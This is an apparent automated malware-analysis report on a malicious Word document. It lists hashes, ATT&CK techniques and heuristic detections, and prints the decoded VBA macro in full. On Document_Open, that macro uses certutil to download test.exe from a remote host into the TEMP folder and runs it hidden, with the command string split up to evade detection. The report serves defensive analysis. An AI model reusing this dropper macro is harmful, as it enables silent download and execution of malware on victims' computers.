Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6bd24c1c091e4468…

MALICIOUS

Office (OOXML)

18.0 KB Created: 2021-04-29 08:34:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-11-02
MD5: aa1b416271ae65feac4390fd390f2fd9 SHA-1: 38016182a28b7f8d10ccbb913c75835da8d6c5ef SHA-256: 6bd24c1c091e4468e6ec7fccbd2a7626d1de64ea2afeb530d991e5890c6ca171
198 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059.003 Windows Command Shell T1105 Ingress Tool Transfer

The sample contains a VBA macro that executes upon opening the document. This macro constructs a command to download a file from 'http://192.168.68.130/a/test.exe' to the temporary directory using certutil.exe, and then executes the downloaded file. This indicates an attempt to download and run a second-stage payload.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    f = d1 & d2 & d3 & d4 & a & b & c & d
Call Shell(f, vbHide)
End Sub
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    temp = Environ("TEMP")
d1 = "cmd /k certutil.exe -urlcache "
d2 = " -split -f  "
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
Dim sfiecd, hItMe, temp As String
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    hItMe = sfiecd & "a/test.exe  "
temp = Environ("TEMP")
d1 = "cmd /k certutil.exe -urlcache "
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.68.130/ In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 721 bytes
SHA-256: 5089e8220e8bd91dc45442a768c3509d2935c0dfd71d66f6f3db72f97cb6be64
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_New()

End Sub

Private Sub Document_Open()
Dim sfiecd, hItMe, temp As String
sfiecd = "http://192.168.68.130/"
hItMe = sfiecd & "a/test.exe  "
temp = Environ("TEMP")
d1 = "cmd /k certutil.exe -urlcache "
d2 = " -split -f  "
d3 = hItMe
d4 = temp & "\test.exe"
a = " & c"
b = "md"
c = ".exe  /k " & temp & "\test"
d = ".exe"
f = d1 & d2 & d3 & d4 & a & b & c & d
Call Shell(f, vbHide)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9728 bytes
SHA-256: a2e1293acee604c9f7dc06611b37fab54848f62e085489cdca421469ffcbf1f0

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